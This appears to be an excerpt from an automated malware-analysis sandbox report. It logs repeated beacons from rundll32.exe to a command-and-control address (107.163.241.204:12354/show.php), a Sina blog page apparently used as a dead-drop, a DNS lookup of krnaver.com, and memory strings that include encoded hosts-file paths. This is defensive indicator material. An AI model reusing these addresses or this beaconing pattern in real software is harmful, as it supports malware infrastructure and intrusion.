Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: krnaver.com
Source: global traffic	DNS traffic detected: DNS query: blog.sina.com.cn

Source: rundll32.exe, 00000006.00000003.3758155005.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.php
Source: rundll32.exe, 00000006.00000002.3811115013.0000000005B20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.php#
Source: rundll32.exe, 00000006.00000003.3031858000.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2221907978.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3031593454.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2422920583.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.php%
Source: rundll32.exe, 00000006.00000003.2221907978.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3803023615.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.php(
Source: rundll32.exe, 00000006.00000002.3807350725.0000000004EEB000.00000004.00000010.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3808953016.0000000004F6D000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.php)
Source: rundll32.exe, 00000006.00000002.3803023615.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.php.T6
Source: rundll32.exe, 00000006.00000003.3597257344.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.php:
Source: rundll32.exe, 00000006.00000003.2221907978.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1813762319.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3803023615.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2422920583.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.php?
Source: rundll32.exe, 00000006.00000003.3031858000.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2221907978.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3031593454.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpA
Source: rundll32.exe, 00000006.00000002.3803023615.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpB
Source: rundll32.exe, 00000006.00000002.3811115013.0000000005B20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpE
Source: rundll32.exe, 00000006.00000002.3803023615.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpFT
Source: rundll32.exe, 00000006.00000002.3811115013.0000000005B20000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3515855541.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3758155005.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpI
Source: rundll32.exe, 00000006.00000003.3031858000.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3597257344.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3031593454.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpT
Source: rundll32.exe, 00000006.00000002.3803023615.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpW
Source: rundll32.exe, 00000006.00000002.3803023615.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpZ
Source: rundll32.exe, 00000006.00000002.3803023615.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpbTz
Source: rundll32.exe, 00000006.00000003.1693230405.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpc
Source: rundll32.exe, 00000006.00000002.3811115013.0000000005B20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpg
Source: rundll32.exe, 00000006.00000003.2423080539.0000000005B33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phph
Source: rundll32.exe, 00000006.00000002.3803023615.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phplTp
Source: rundll32.exe, 00000006.00000003.3031858000.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2262348463.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3031593454.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpu
Source: rundll32.exe, 00000006.00000003.1693230405.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3031858000.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1653072832.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3515855541.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2262348463.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2221907978.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3597257344.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3031593454.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3803023615.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2422920583.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3758155005.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpv
Source: rundll32.exe, 00000006.00000002.3803023615.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.163.241.204:12354/show.phpzTb
Source: rundll32.exe, 00000006.00000002.3807350725.0000000004EEB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://107.163.24I
Source: rundll32.exe, rundll32.exe, 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/%s
Source: rundll32.exe, 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/%sXGRyaXZlcnNcZXRjXGhvc3RzLmljcw==XGRyaXZlcnNcZXRjXGhvc3Rz
Source: rundll32.exe, 00000006.00000002.3803023615.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3803023615.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3803023615.0000000000C5A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3803023615.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807
Source: rundll32.exe, 00000006.00000003.1813762319.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807.
Source: rundll32.exe, 00000006.00000003.3031593454.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/56550298079
Source: rundll32.exe, 00000006.00000003.1693230405.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1653072832.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807:
Source: rundll32.exe, 00000006.00000003.2422920583.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807A
Source: rundll32.exe, 00000006.00000003.1693230405.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1653072832.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807B
Source: rundll32.exe, 00000006.00000003.1693230405.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1653072832.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807I
Source: rundll32.exe, 00000006.00000002.3803023615.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807XT
Source: rundll32.exe, 00000006.00000002.3803023615.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807h
Source: rundll32.exe, 00000006.00000002.3811115013.0000000005B20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807nts
Source: rundll32.exe, 00000006.00000002.3811115013.0000000005B20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807pData
Source: rundll32.exe, 00000006.00000003.1813762319.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807v
Source: rundll32.exe, 00000006.00000002.3811115013.0000000005B20000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2262348463.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2221907978.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3597257344.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3803023615.0000000000C5A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3758155005.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807z
Source: rundll32.exe, 00000006.00000003.1813762319.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807z%
Source: rundll32.exe, 00000006.00000003.3031858000.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3031593454.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.sina.com.cn/u/5655029807z:
Source: rundll32.exe, 00000006.00000002.3803023615.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/
Source: rundll32.exe, 00000006.00000003.1693170909.0000000000D46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/crosoft
Source: rundll32.exe, 00000006.00000003.2422920583.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1813762319.0000000000D34000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3803023615.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3071281496.0000000005BA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/u/5655029807
Source: rundll32.exe, 00000006.00000003.2262348463.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/u/5655029807(
Source: rundll32.exe, 00000006.00000003.2422808877.0000000005BA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.sina.com.cn/u/5655029807Data

Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57802
Source: unknown	Network traffic detected: HTTP traffic on port 50283 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54534
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50561 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60253
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57011
Source: unknown	Network traffic detected: HTTP traffic on port 51516 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58183
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50226
Source: unknown	Network traffic detected: HTTP traffic on port 50417 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54516 -> 443
